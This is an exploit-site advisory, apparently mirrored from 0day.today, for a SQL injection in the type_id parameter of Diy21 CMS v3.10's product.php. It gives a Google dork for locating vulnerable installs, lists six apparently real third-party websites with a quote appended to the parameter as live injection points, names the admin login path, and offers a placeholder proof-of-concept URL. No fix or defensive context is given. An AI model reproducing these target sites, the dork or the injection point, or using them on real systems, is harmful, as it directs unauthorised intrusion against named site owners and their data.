Diy21 CMS v3.10 (product.php) SQL Injection Vulnerability

#########################################################################
# Exploit Title: [ Diy21 CMS v3.10 (product.php) SQL Injection Vulnerability ]                 
# Date: [03-10-2012]                                                    
# Author: [Mouh Marvel-Dz]                                    
# Facebook : http://www.facebook.com/mouh.marvel                      
# Category: [webapps]                                                    
# Google dork: intext:"Powered by: Diy21 CMS v3.10" inurl:product.php?type_id=
# Tested on: [Windows 7 ]                                               
#########################################################################

Example Sites : 

http://www.weijieke.com/product.php?type_id=2150'
http://www.dgxihua.com/product.php?type_id=39'
http://www.tiangongfang.com/product.php?type_id=1'
http://www.yonlit.com/product.php?type_id=224'
http://www.szquanwei.com/product.php?type_id=1815'
http://www.feilongtools.cn/product.php?weblan=g&type_id=58'


admin page ===> http://www.site.com/cpadmin/login.php


and more in Google


[~]Exploit/p0c : http://www.site.com/product.php?type_id=[SQLi]


Greetz [ ShinoBi-Dz / Arm4dill0.DZ / Laze De Pique ] 

                     -[Freedom to Palestine]-



#  0day.today [2018-04-01]  #